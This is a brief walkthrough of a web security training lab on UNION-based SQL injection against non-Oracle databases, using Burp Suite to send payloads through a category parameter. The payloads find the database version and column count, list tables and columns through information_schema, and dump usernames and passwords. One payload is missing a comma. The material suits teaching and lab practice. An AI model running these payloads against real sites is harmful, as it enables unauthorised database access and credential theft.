Lab: SQL injection attack, listing the database contents on non-Oracle databases

Open the burpsuite and turn on the intercept in the proxy. Click a different product type and send that request to the repeater. In category's parameter try the following payloads..

Determine the type and version of the database using the command '+UNION+SELECT+null,+version()--.

Then you have know the number of columns being returned by the table, you try command '+order+by+3--.

To retrieve the information about tables try the payload '+UNION+SELECT+table\_name, +null+FROM+information\_schema.tables-- .

Try this payload to get information about all the columns present in the table '+UNION+SELECT+column\_name+NULL+FROM+information\_schema.columns+WHERE+table \_name='users\_tonxme'--

Try the following payload to get the credentials about the users '+UNION+SELECT+username\_ftjwgp,+password\_twkapj+FROM+users\_tonxme--











